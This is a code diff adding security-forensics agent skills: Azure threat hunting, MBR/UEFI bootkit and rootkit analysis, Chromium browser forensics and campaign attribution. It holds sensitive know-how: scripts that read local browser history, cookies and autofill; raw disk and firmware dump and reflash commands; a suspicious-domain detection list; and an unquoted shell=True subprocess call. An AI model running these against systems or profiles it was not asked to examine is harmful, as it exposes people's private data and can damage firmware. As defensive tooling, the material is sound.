"full_hunt" + ], default="full_hunt") + args = parser.parse_args() + + cred = get_credential(args.tenant_id, args.client_id, args.client_secret) + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("privesc", "full_hunt"): + results = detect_privilege_escalation(cred, args.workspace_id) + report["findings"]["privilege_escalation"] = results + print(f"[+] Privilege escalation events: {len(results)}") + + if args.action in ("nsg", "full_hunt"): + results = detect_nsg_changes(cred, args.workspace_id) + report["findings"]["nsg_changes"] = results + print(f"[+] NSG changes: {len(results)}") + + if args.action in ("keyvault", "full_hunt"): + results = detect_keyvault_access(cred, args.workspace_id) + report["findings"]["keyvault_anomalies"] = results + print(f"[+] Key Vault anomalies: {len(results)}") + + if args.action in ("travel", "full_hunt"): + results = detect_impossible_travel(cred, args.workspace_id) + report["findings"]["impossible_travel"] = results + print(f"[+] Impossible travel: {len(results)}") + + if args.action in ("deletion", "full_hunt"): + results = detect_resource_deletion(cred, args.workspace_id) + report["findings"]["mass_deletion"] = results + print(f"[+] Mass deletion events: {len(results)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-bootkit-and-rootkit-samples/LICENSE b/skills/analyzing-bootkit-and-rootkit-samples/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-bootkit-and-rootkit-samples/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md b/skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md new file mode 100644 index 00000000..4bd7cebf --- /dev/null +++ b/skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md @@ -0,0 +1,97 @@ +# API Reference: Bootkit and Rootkit Analysis Tools + +## dd - Boot Sector Extraction + +### Syntax +```bash +dd if=/dev/sda of=mbr.bin bs=512 count=1 # MBR +dd if=/dev/sda of=first_track.bin bs=512 count=63 # First track +dd if=/dev/sda1 of=vbr.bin bs=512 count=1 # VBR +``` + +## ndisasm - 16-bit Disassembly + +### Syntax +```bash +ndisasm -b16 mbr.bin > mbr_disasm.txt +ndisasm -b16 -o 0x7C00 mbr.bin # Set origin to MBR load address +``` + +### Key Flags +| Flag | Description | +|------|-------------| +| `-b16` | 16-bit real-mode disassembly | +| `-b32` | 32-bit protected-mode | +| `-o` | Origin address offset | + +## UEFITool - Firmware Analysis + +### CLI Syntax +```bash +UEFIExtract firmware.rom all # Extract all modules +UEFIExtract firmware.rom body # Extract specific module body +``` + +### Output +Extracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID. + +## chipsec - Hardware Security Assessment + +### Syntax +```bash +python chipsec_main.py -m common.secureboot.variables # Check Secure Boot +python chipsec_main.py -m common.bios_wp # SPI write protection +python chipsec_main.py -m common.spi_lock # SPI lock status +python chipsec_util.py spi dump firmware.rom # Dump SPI flash +``` + +### Key Modules +| Module | Purpose | +|--------|---------| +| `common.secureboot.variables` | Verify Secure Boot configuration | +| `common.bios_wp` | Check BIOS write protection | +| `common.spi_lock` | Verify SPI flash lock bits | +| `common.smm` | SMM protection verification | + +## Volatility 3 - Rootkit Detection Plugins + +### Syntax +```bash +vol3 -f memory.dmp +``` + +### Rootkit Detection Plugins +| Plugin | Purpose | +|--------|---------| +| `windows.ssdt` | System Service Descriptor Table hooks | +| `windows.callbacks` | Kernel callback registrations | +| `windows.driverscan` | Scan for driver objects | +| `windows.modules` | List loaded kernel modules | +| `windows.psscan` | Pool-tag scan for processes (finds hidden) | +| `windows.pslist` | Active process list (DKOM-affected) | +| `windows.idt` | Interrupt Descriptor Table hooks | + +### Output Format +``` +Offset Order Module Section Owner +------- ----- ------ ------- ----- +0x... 0 ntoskrnl.exe .text ntoskrnl.exe +0x... 73 UNKNOWN - rootkit.sys ← suspicious +``` + +## flashrom - SPI Flash Dumping + +### Syntax +```bash +flashrom -p internal -r firmware.rom # Read/dump +flashrom -p internal -w clean.rom # Write/reflash +flashrom -p internal --verify clean.rom # Verify flash contents +``` + +## YARA - Firmware Pattern Scanning + +### Syntax +```bash +yara -r uefi_malware.yar firmware.rom +yara -s -r rules.yar firmware.rom # Show matching strings +``` diff --git a/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py b/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py new file mode 100644 index 00000000..c591a0ed --- /dev/null +++ b/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Bootkit and rootkit analysis agent for MBR/VBR/UEFI inspection and rootkit detection.""" + +import struct +import hashlib +import os +import sys +import subprocess +import math +from collections import Counter + + +def read_mbr(disk_path_or_file): + """Read and parse the first 512 bytes (MBR) from a disk image or device.""" + with open(disk_path_or_file, "rb") as f: + mbr = f.read(512) + return mbr + + +def validate_mbr_signature(mbr_data): + """Check the MBR boot signature at bytes 510-511 (should be 0x55AA).""" + sig = mbr_data[510:512] + valid = sig == b"\x55\xAA" + return valid, sig.hex() + + +def parse_partition_table(mbr_data): + """Parse the four 16-byte partition table entries starting at offset 446.""" + partitions = [] + for i in range(4): + offset = 446 + (i * 16) + entry = mbr_data[offset:offset + 16] + if entry == b"\x00" * 16: + continue + boot_flag = entry[0] + part_type = entry[4] + start_lba = struct.unpack_from(" 6.5, + "suspicious_patterns": suspicious_patterns, + } + + +def run_volatility_rootkit_scan(memory_dump, plugin): + """Run a Volatility 3 plugin for rootkit detection via subprocess.""" + cmd = f"vol3 -f {memory_dump} {plugin}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + return result.stdout, result.stderr, result.returncode + + +def detect_kernel_rootkit(memory_dump): + """Run multiple Volatility plugins to detect kernel-level rootkit artifacts.""" + plugins = [ + "windows.ssdt", + "windows.callbacks", + "windows.driverscan", + "windows.modules", + "windows.psscan", + "windows.pslist", + ] + results = {} + for plugin in plugins: + stdout, stderr, rc = run_volatility_rootkit_scan(memory_dump, plugin) + results[plugin] = {"output": stdout, "error": stderr, "return_code": rc} + return results + + +def compare_process_lists(pslist_output, psscan_output): + """Compare pslist and psscan output to find hidden processes (DKOM).""" + pslist_pids = set() + psscan_pids = set() + for line in pslist_output.splitlines(): + parts = line.split() + if len(parts) >= 2 and parts[1].isdigit(): + pslist_pids.add(int(parts[1])) + for line in psscan_output.splitlines(): + parts = line.split() + if len(parts) >= 2 and parts[1].isdigit(): + psscan_pids.add(int(parts[1])) + hidden = psscan_pids - pslist_pids + return hidden + + +if __name__ == "__main__": + print("=" * 60) + print("Bootkit & Rootkit Analysis Agent") + print("MBR/VBR inspection, UEFI firmware analysis, rootkit detection") + print("=" * 60) + + # Demo with a sample MBR file if available + demo_mbr = "mbr.bin" + if len(sys.argv) > 1: + demo_mbr = sys.argv[1] + + if os.path.exists(demo_mbr): + print(f"\n[*] Analyzing: {demo_mbr}") + mbr = read_mbr(demo_mbr) + valid, sig_hex = validate_mbr_signature(mbr) + print(f"[*] MBR Signature: 0x{sig_hex.upper()} ({'Valid' if valid else 'INVALID'})") + + partitions = parse_partition_table(mbr) + print(f"[*] Partition entries: {len(partitions)}") + for p in partitions: + active = "Active" if p["active"] else "Inactive" + print(f" Part {p['index']}: Type={p['type_id']} {active} " + f"Start=LBA {p['start_lba']} Size={p['size_mb']} MB") + + sigs = scan_bootkit_signatures(mbr) + for s in sigs: + tag = "[*]" if s["clean"] else "[!]" + print(f"{tag} Signature match: {s['signature']} at offset {s['offset']}") + + analysis = analyze_boot_code(mbr) + print(f"[*] Boot code entropy: {analysis['entropy']}" + f" ({'HIGH - possible encryption' if analysis['high_entropy'] else 'Normal'})") + print(f"[*] Boot code SHA-256: {analysis['sha256']}") + for pat in analysis["suspicious_patterns"]: + print(f"[!] {pat}") + else: + print(f"\n[DEMO] No MBR file provided. Usage: {sys.argv[0]} ") + print("[DEMO] Provide a 512-byte MBR dump or disk device for analysis.") + print("\n[*] Supported analysis:") + print(" - MBR/VBR signature validation and bootkit detection") + print(" - Partition table parsing and anomaly detection") + print(" - Boot code entropy and pattern analysis") + print(" - Volatility-based kernel rootkit detection (SSDT, callbacks, DKOM)") + print(" - UEFI firmware module inspection via chipsec subprocess") diff --git a/skills/analyzing-browser-forensics-with-hindsight/LICENSE b/skills/analyzing-browser-forensics-with-hindsight/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md b/skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md new file mode 100644 index 00000000..85fe5f63 --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md @@ -0,0 +1,92 @@ +# API Reference: Browser Forensics with Hindsight + +## Hindsight CLI + +### Syntax +```bash +hindsight.py -i # Analyze Chrome profile +hindsight.py -i -o # Save results +hindsight.py -i -f xlsx # Export as Excel +hindsight.py -i -f sqlite # Export as SQLite +hindsight.py -i -b # Specify browser type +``` + +### Browser Types +| Flag | Browser | +|------|---------| +| `Chrome` | Google Chrome | +| `Edge` | Microsoft Edge (Chromium) | +| `Brave` | Brave Browser | +| `Opera` | Opera (Chromium) | + +### Output Artifacts +| Table | Description | +|-------|-------------| +| `urls` | Browsing history with visit counts | +| `downloads` | File downloads with source URLs | +| `cookies` | Cookie values, domains, expiry | +| `autofill` | Form autofill entries | +| `bookmarks` | Saved bookmarks | +| `preferences` | Browser configuration | +| `local_storage` | Site local storage data | +| `login_data` | Saved credential metadata | +| `extensions` | Installed extensions with permissions | + +## Chrome SQLite Databases + +### History Database +```sql +-- Browsing history +SELECT u.url, u.title, v.visit_time, v.transition +FROM visits v JOIN urls u ON v.url = u.id +ORDER BY v.visit_time DESC; + +-- Downloads +SELECT target_path, tab_url, total_bytes, start_time, danger_type, mime_type +FROM downloads ORDER BY start_time DESC; +``` + +### Cookies Database +```sql +SELECT host_key, name, value, creation_utc, expires_utc, is_secure, is_httponly +FROM cookies ORDER BY creation_utc DESC; +``` + +### Web Data Database (Autofill) +```sql +SELECT name, value, count, date_created, date_last_used +FROM autofill ORDER BY date_last_used DESC; +``` + +## Chrome Timestamp Conversion + +### Format +Microseconds since January 1, 1601 (Windows FILETIME base) + +### Python Conversion +```python +import datetime +def chrome_to_datetime(chrome_time): + epoch = datetime.datetime(1601, 1, 1) + return epoch + datetime.timedelta(microseconds=chrome_time) +``` + +## Browser Profile Paths + +| OS | Browser | Default Path | +|----|---------|-------------| +| Windows | Chrome | `%LOCALAPPDATA%\Google\Chrome\User Data\Default` | +| Windows | Edge | `%LOCALAPPDATA%\Microsoft\Edge\User Data\Default` | +| Linux | Chrome | `~/.config/google-chrome/Default` | +| macOS | Chrome | `~/Library/Application Support/Google/Chrome/Default` | + +## Transition Types (visit_transition & 0xFF) +| Value | Type | Description | +|-------|------|-------------| +| 0 | LINK | Clicked a link | +| 1 | TYPED | Typed URL in address bar | +| 2 | AUTO_BOOKMARK | Via bookmark | +| 3 | AUTO_SUBFRAME | Subframe navigation | +| 5 | GENERATED | Generated (e.g., search) | +| 7 | FORM_SUBMIT | Form submission | +| 8 | RELOAD | Page reload | diff --git a/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py b/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py new file mode 100644 index 00000000..9ef8c4cc --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 +"""Browser forensics analysis agent using Hindsight concepts. + +Parses Chromium-based browser artifacts (Chrome, Edge, Brave) including +history, downloads, cookies, autofill, and extensions from SQLite databases. +""" + +import os +import sys +import json +import sqlite3 +import datetime +import hashlib +from collections import defaultdict + + +def chrome_time_to_datetime(chrome_time): + """Convert Chrome timestamp (microseconds since 1601-01-01) to datetime.""" + if not chrome_time or chrome_time == 0: + return None + try: + epoch = datetime.datetime(1601, 1, 1) + delta = datetime.timedelta(microseconds=chrome_time) + return (epoch + delta).isoformat() + "Z" + except (OverflowError, OSError): + return None + + +def find_browser_profiles(base_path=None): + """Locate Chromium-based browser profile directories.""" + if base_path and os.path.isdir(base_path): + return [base_path] + profiles = [] + home = os.path.expanduser("~") + candidates = [ + os.path.join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default"), + os.path.join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default"), + os.path.join(home, "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data", "Default"), + os.path.join(home, ".config", "google-chrome", "Default"), + os.path.join(home, ".config", "chromium", "Default"), + os.path.join(home, ".config", "microsoft-edge", "Default"), + ] + for path in candidates: + if os.path.isdir(path): + profiles.append(path) + return profiles + + +def parse_history(profile_path): + """Parse browsing history from History SQLite database.""" + db_path = os.path.join(profile_path, "History") + if not os.path.exists(db_path): + return [] + entries = [] + try: + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT u.url, u.title, v.visit_time, v.transition, u.visit_count + FROM visits v JOIN urls u ON v.url = u.id + ORDER BY v.visit_time DESC LIMIT 5000 + """) + for url, title, visit_time, transition, count in cursor.fetchall(): + entries.append({ + "url": url, "title": title or "", + "visit_time": chrome_time_to_datetime(visit_time), + "transition": transition & 0xFF, + "visit_count": count, + }) + conn.close() + except sqlite3.Error as e: + entries.append({"error": str(e)}) + return entries + + +def parse_downloads(profile_path): + """Parse download history from History database.""" + db_path = os.path.join(profile_path, "History") + if not os.path.exists(db_path): + return [] + downloads = [] + try: + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT target_path, tab_url, total_bytes, start_time, end_time, + danger_type, interrupt_reason, mime_type + FROM downloads ORDER BY start_time DESC LIMIT 1000 + """) + for row in cursor.fetchall(): + downloads.append({ + "target_path": row[0], "source_url": row[1], + "total_bytes": row[2], + "start_time": chrome_time_to_datetime(row[3]), + "end_time": chrome_time_to_datetime(row[4]), + "danger_type": row[5], "interrupt_reason": row[6], + "mime_type": row[7], + }) + conn.close() + except sqlite3.Error as e: + downloads.append({"error": str(e)}) + return downloads + + +def parse_cookies(profile_path): + """Parse cookies from Cookies database.""" + db_path = os.path.join(profile_path, "Cookies") + if not os.path.exists(db_path): + db_path = os.path.join(profile_path, "Network", "Cookies") + if not os.path.exists(db_path): + return [] + cookies = [] + try: + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT host_key, name, path, creation_utc, expires_utc, + is_secure, is_httponly, samesite + FROM cookies ORDER BY creation_utc DESC LIMIT 2000 + """) + for row in cursor.fetchall(): + cookies.append({ + "host": row[0], "name": row[1], "path": row[2], + "created": chrome_time_to_datetime(row[3]), + "expires": chrome_time_to_datetime(row[4]), + "secure": bool(row[5]), "httponly": bool(row[6]), + "samesite": row[7], + }) + conn.close() + except sqlite3.Error as e: + cookies.append({"error": str(e)}) + return cookies + + +def parse_autofill(profile_path): + """Parse autofill data from Web Data database.""" + db_path = os.path.join(profile_path, "Web Data") + if not os.path.exists(db_path): + return [] + entries = [] + try: + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT name, value, count, date_created, date_last_used + FROM autofill ORDER BY date_last_used DESC LIMIT 500 + """) + for row in cursor.fetchall(): + entries.append({ + "field_name": row[0], "value": row[1][:50] + "..." if len(row[1]) > 50 else row[1], + "usage_count": row[2], + "created": chrome_time_to_datetime(row[3] * 1000000 if row[3] else 0), + "last_used": chrome_time_to_datetime(row[4] * 1000000 if row[4] else 0), + }) + conn.close() + except sqlite3.Error as e: + entries.append({"error": str(e)}) + return entries + + +def parse_extensions(profile_path): + """Parse installed browser extensions.""" + ext_dir = os.path.join(profile_path, "Extensions") + extensions = [] + if not os.path.isdir(ext_dir): + return extensions + for ext_id in os.listdir(ext_dir): + ext_path = os.path.join(ext_dir, ext_id) + if os.path.isdir(ext_path): + versions = sorted(os.listdir(ext_path)) + manifest_path = os.path.join(ext_path, versions[-1], "manifest.json") if versions else None + name = ext_id + if manifest_path and os.path.exists(manifest_path): + try: + with open(manifest_path, "r", encoding="utf-8") as f: + manifest = json.load(f) + name = manifest.get("name", ext_id) + extensions.append({ + "id": ext_id, "name": name, + "version": manifest.get("version", "?"), + "permissions": manifest.get("permissions", [])[:10], + }) + except (json.JSONDecodeError, IOError): + extensions.append({"id": ext_id, "name": name, "version": "unknown"}) + return extensions + + +def detect_suspicious_activity(history, downloads): + """Flag suspicious browsing and download patterns.""" + findings = [] + suspicious_domains = ["pastebin.com", "ngrok.io", "raw.githubusercontent.com", + "transfer.sh", "file.io", "temp.sh", "anonfiles.com"] + for entry in history: + url = entry.get("url", "").lower() + for domain in suspicious_domains: + if domain in url: + findings.append({ + "type": "suspicious_url", "url": entry["url"], + "domain": domain, "time": entry.get("visit_time"), + }) + dangerous_mimes = ["application/x-msdownload", "application/x-msdos-program", + "application/x-executable", "application/vnd.ms-excel.sheet.macroEnabled"] + for dl in downloads: + if dl.get("danger_type", 0) > 0: + findings.append({ + "type": "dangerous_download", "path": dl.get("target_path"), + "source": dl.get("source_url"), "danger_type": dl.get("danger_type"), + }) + if dl.get("mime_type", "") in dangerous_mimes: + findings.append({ + "type": "suspicious_mime", "mime": dl.get("mime_type"), + "path": dl.get("target_path"), + }) + return findings + + +if __name__ == "__main__": + print("=" * 60) + print("Browser Forensics Analysis Agent") + print("Chromium history, downloads, cookies, extensions") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + profiles = find_browser_profiles(target) + + if not profiles: + print("\n[!] No browser profiles found.") + print("[DEMO] Usage: python agent.py ") + print(" e.g. python agent.py ~/AppData/Local/Google/Chrome/User\\ Data/Default") + sys.exit(0) + + for profile in profiles: + print(f"\n[*] Profile: {profile}") + + history = parse_history(profile) + print(f" History entries: {len(history)}") + for h in history[:5]: + print(f" {h.get('visit_time', '?')} | {h.get('title', '')[:50]} | {h.get('url', '')[:60]}") + + downloads = parse_downloads(profile) + print(f" Downloads: {len(downloads)}") + for d in downloads[:5]: + print(f" {d.get('start_time', '?')} | {d.get('mime_type', '?')} | {os.path.basename(d.get('target_path', ''))}") + + cookies = parse_cookies(profile) + print(f" Cookies: {len(cookies)}") + + extensions = parse_extensions(profile) + print(f" Extensions: {len(extensions)}") + for ext in extensions[:5]: + print(f" {ext.get('name', '?')} v{ext.get('version', '?')} [{ext.get('id', '')[:20]}]") + + findings = detect_suspicious_activity(history, downloads) + print(f"\n --- Suspicious Activity: {len(findings)} findings ---") + for f in findings[:10]: + print(f" [{f['type']}] {f.get('url', f.get('path', ''))}") diff --git a/skills/analyzing-campaign-attribution-evidence/LICENSE b/skills/analyzing-campaign-attribution-evidence/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-campaign-attribution-evidence/references/api-reference.md b/skills/analyzing-campaign-attribution-evidence/references/api-reference.md new file mode 100644 index 00000000..96ccc8af --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/references/api-reference.md @@ -0,0 +1,110 @@ +# API Reference: Campaign Attribution Evidence Analysis + +## Diamond Model of Intrusion Analysis + +### Four Core Features +| Feature | Description | Attribution Value | +|---------|-------------|-------------------| +| Adversary | Threat actor identity | Direct attribution | +| Capability | Malware, exploits, tools | Indirect - shared tooling | +| Infrastructure | C2, domains, IPs | Strong - operational overlap | +| Victim | Targets, sectors, regions | Contextual - targeting pattern | + +### Pivot Analysis +``` +Adversary ←→ Capability ←→ Infrastructure ←→ Victim + ↕ ↕ ↕ ↕ + (HUMINT) (Malware DB) (WHOIS/DNS) (Victimology) +``` + +## Analysis of Competing Hypotheses (ACH) + +### Matrix Format +``` +Evidence \ Hypothesis | APT28 | APT29 | Lazarus | Unknown +----------------------------------------------------------------- +Infrastructure overlap | ++ | - | - | N +TTP consistency | ++ | ++ | - | N +Malware similarity | + | - | - | N +Timing (UTC+3) | ++ | ++ | - | N +Language (Russian) | ++ | ++ | - | N +``` + +### Scoring +| Symbol | Meaning | Weight | +|--------|---------|--------| +| `++` | Strongly consistent | +2 | +| `+` | Consistent | +1 | +| `N` | Neutral | 0 | +| `-` | Inconsistent | -1 | +| `--` | Strongly inconsistent | -2 | + +## MITRE ATT&CK Group Queries + +### Python (mitreattack-python) +```python +from mitreattack.stix20 import MitreAttackData +attack = MitreAttackData("enterprise-attack.json") +group = attack.get_group_by_alias("APT29") +techniques = attack.get_techniques_used_by_group(group.id) +``` + +### STIX2 Relationship Query +```python +from stix2 import Filter +relationships = src.query([ + Filter("type", "=", "relationship"), + Filter("source_ref", "=", group_id), + Filter("relationship_type", "=", "uses"), +]) +``` + +## Infrastructure Overlap Tools + +### PassiveTotal / RiskIQ +```bash +# WHOIS history +curl -u user:key "https://api.passivetotal.org/v2/whois?query=domain.com" + +# Passive DNS +curl -u user:key "https://api.passivetotal.org/v2/dns/passive?query=1.2.3.4" +``` + +### VirusTotal Relations +```bash +curl -H "x-apikey: KEY" \ + "https://www.virustotal.com/api/v3/domains/example.com/communicating_files" +``` + +## Confidence Assessment Framework + +| Level | Score Range | Criteria | +|-------|------------|---------| +| HIGH | 0.8-1.0 | Multiple independent evidence types converge | +| MEDIUM | 0.5-0.8 | Significant evidence with some gaps | +| LOW | 0.2-0.5 | Limited evidence, alternative hypotheses remain | +| NEGLIGIBLE | 0.0-0.2 | Insufficient evidence for attribution | + +## STIX Attribution Objects + +### Campaign Object +```json +{ + "type": "campaign", + "name": "Operation DarkShadow", + "first_seen": "2024-01-15T00:00:00Z", + "last_seen": "2024-03-20T00:00:00Z", + "objective": "Espionage targeting defense sector" +} +``` + +### Attribution Relationship +```json +{ + "type": "relationship", + "relationship_type": "attributed-to", + "source_ref": "campaign--abc123", + "target_ref": "intrusion-set--def456", + "confidence": 75 +} +``` diff --git a/skills/analyzing-campaign-attribution-evidence/scripts/agent.py b/skills/analyzing-campaign-attribution-evidence/scripts/agent.py new file mode 100644 index 00000000..1a39e61a --- /dev/null +++ b/skills/analyzing-campaign-attribution-evidence/scripts/agent.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 +"""Campaign attribution analysis agent using Diamond Model and ACH methodology. + +Evaluates attribution evidence including infrastructure overlaps, TTP consistency, +malware code similarity, timing patterns, and language artifacts. +""" + +import json +import os +import sys +import hashlib +import re +from collections import defaultdict +from datetime import datetime + + +DIAMOND_DIMENSIONS = { + "adversary": "Threat actor identity, group attribution", + "capability": "Malware, exploits, tools used", + "infrastructure": "C2 servers, domains, IP addresses", + "victim": "Targeted sectors, regions, organizations", +} + +EVIDENCE_WEIGHTS = { + "infrastructure_overlap": 0.25, + "ttp_consistency": 0.30, + "malware_code_similarity": 0.25, + "timing_pattern": 0.10, + "language_artifact": 0.10, +} + +CONFIDENCE_LEVELS = { + (0.8, 1.0): "HIGH - Strong attribution confidence", + (0.5, 0.8): "MEDIUM - Moderate attribution, further analysis recommended", + (0.2, 0.5): "LOW - Weak attribution, insufficient evidence", + (0.0, 0.2): "NEGLIGIBLE - No meaningful attribution possible", +} + + +def diamond_model_analysis(adversary=None, capability=None, infrastructure=None, victim=None): + """Structure evidence using the Diamond Model of Intrusion Analysis.""" + model = { + "adversary": { + "identified": adversary is not None, + "details": adversary or "Unknown", + }, + "capability": { + "tools": capability.get("tools", []) if capability else [], + "exploits": capability.get("exploits", []) if capability else [], + "malware": capability.get("malware", []) if capability else [], + }, + "infrastructure": { + "c2_servers": infrastructure.get("c2", []) if infrastructure else [], + "domains": infrastructure.get("domains", []) if infrastructure else [], + "ip_addresses": infrastructure.get("ips", []) if infrastructure else [], + }, + "victim": { + "sectors": victim.get("sectors", []) if victim else [], + "regions": victim.get("regions", []) if victim else [], + }, + "pivot_opportunities": [], + } + if infrastructure and infrastructure.get("c2"): + model["pivot_opportunities"].append("Pivot from C2 infrastructure to related campaigns") + if capability and capability.get("malware"): + model["pivot_opportunities"].append("Pivot from malware samples to shared infrastructure") + return model + + +def evaluate_infrastructure_overlap(campaign_infra, known_actor_infra): + """Score infrastructure overlap between campaign and known actor.""" + campaign_set = set(campaign_infra) + known_set = set(known_actor_infra) + if not campaign_set or not known_set: + return 0.0, [] + overlap = campaign_set & known_set + score = len(overlap) / max(len(campaign_set), len(known_set)) + return round(score, 4), sorted(overlap) + + +def evaluate_ttp_consistency(campaign_ttps, actor_ttps): + """Score TTP consistency using MITRE ATT&CK technique overlap.""" + campaign_set = set(campaign_ttps) + actor_set = set(actor_ttps) + if not campaign_set or not actor_set: + return 0.0, [] + overlap = campaign_set & actor_set + jaccard = len(overlap) / len(campaign_set | actor_set) + return round(jaccard, 4), sorted(overlap) + + +def evaluate_malware_similarity(sample_features, known_features): + """Score malware code similarity based on feature comparison.""" + if not sample_features or not known_features: + return 0.0 + matches = 0 + total = max(len(sample_features), len(known_features)) + for feature in sample_features: + if feature in known_features: + matches += 1 + return round(matches / total, 4) if total > 0 else 0.0 + + +def evaluate_timing_pattern(campaign_timestamps, actor_timezone_offset=None): + """Analyze operational timing to infer timezone/working hours.""" + if not campaign_timestamps: + return {"score": 0.0, "working_hours": None, "timezone_guess": None} + hours = [] + for ts in campaign_timestamps: + try: + if isinstance(ts, str): + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + else: + dt = ts + adjusted = dt.hour + (actor_timezone_offset or 0) + hours.append(adjusted % 24) + except (ValueError, TypeError): + continue + if not hours: + return {"score": 0.0} + work_hours = sum(1 for h in hours if 8 <= h <= 18) + work_ratio = work_hours / len(hours) + avg_hour = sum(hours) / len(hours) + return { + "score": round(work_ratio, 4), + "average_hour_utc": round(avg_hour, 1), + "work_hour_ratio": round(work_ratio, 4), + "sample_size": len(hours), + } + + +def evaluate_language_artifacts(strings_list): + """Detect language artifacts in malware strings or documents.""" + language_indicators = { + "Russian": [r"[а-яА-Я]{3,}", r"codepage.*1251", r"locale.*ru"], + "Chinese": [r"[\u4e00-\u9fff]{2,}", r"codepage.*936", r"GB2312"], + "Korean": [r"[\uac00-\ud7af]{2,}", r"codepage.*949", r"EUC-KR"], + "Farsi": [r"[\u0600-\u06ff]{3,}", r"codepage.*1256"], + "English": [r"\b(the|and|for|with)\b"], + } + detections = defaultdict(int) + for s in strings_list: + for lang, patterns in language_indicators.items(): + for pattern in patterns: + if re.search(pattern, s, re.IGNORECASE): + detections[lang] += 1 + total = 